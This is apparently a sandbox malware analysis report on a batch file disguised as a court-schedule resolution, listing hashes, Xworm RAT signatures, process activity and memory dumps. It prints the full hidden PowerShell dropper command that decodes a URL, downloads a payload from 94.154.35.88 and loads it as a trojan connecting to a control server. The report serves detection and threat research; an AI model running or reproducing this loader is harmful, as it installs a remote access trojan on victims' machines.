Analysis

  • max time kernel
    132s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16-01-2025 09:29

General

  • Target

    Resolucion No. CSJSAR08765-390 Modifica Horario Juzgados.bat

  • Size

    224KB

  • MD5

    df1f35059b68373b63e5f3eab4338b5b

  • SHA1

    29612120a704e71f5031ffa4a8bb139c3243fa7b

  • SHA256

    4fdd897c9e6c669b7eba50aadc963c7bfb3ba2e19055daebfc05e3d520ccddbf

  • SHA512

    e99f000ecc42dc95fd47abc74c34fca27cbb117660736bd9ab3e3eb89cbc31cef2003ea29beca4acd4a877625ac7afd72917379183baaab0265ed8298e193533

  • SSDEEP

    6144:2Q12/wE6NeWgmXcydX51t9dZndh1vRJtdZxF98:M

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://94.154.35.88/DetahNote.jpg

exe.dropper

http://94.154.35.88/DetahNote.jpg

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops startup file 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Resolucion No. CSJSAR08765-390 Modifica Horario Juzgados.bat"
    1⤵
    • Drops startup file
    • Suspicious use of WriteProcessMemory
    PID:5036
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cDovLzk0LjE1NC4zNS44OC9EZXRhaE5vdGUuanBn'; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('94.154.35.80', '8668');"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1424

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0qcubfi0.ept.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1424-2-0x00007FFE76443000-0x00007FFE76445000-memory.dmp

    Filesize

    8KB

  • memory/1424-8-0x000001EA48FB0000-0x000001EA48FD2000-memory.dmp

    Filesize

    136KB

  • memory/1424-13-0x00007FFE76440000-0x00007FFE76F01000-memory.dmp

    Filesize

    10.8MB

  • memory/1424-14-0x00007FFE76440000-0x00007FFE76F01000-memory.dmp

    Filesize

    10.8MB

  • memory/1424-15-0x00007FFE76443000-0x00007FFE76445000-memory.dmp

    Filesize

    8KB

  • memory/1424-16-0x00007FFE76440000-0x00007FFE76F01000-memory.dmp

    Filesize

    10.8MB

  • memory/1424-17-0x000001EA63A70000-0x000001EA63E04000-memory.dmp

    Filesize

    3.6MB

  • memory/1424-18-0x00007FFE76440000-0x00007FFE76F01000-memory.dmp

    Filesize

    10.8MB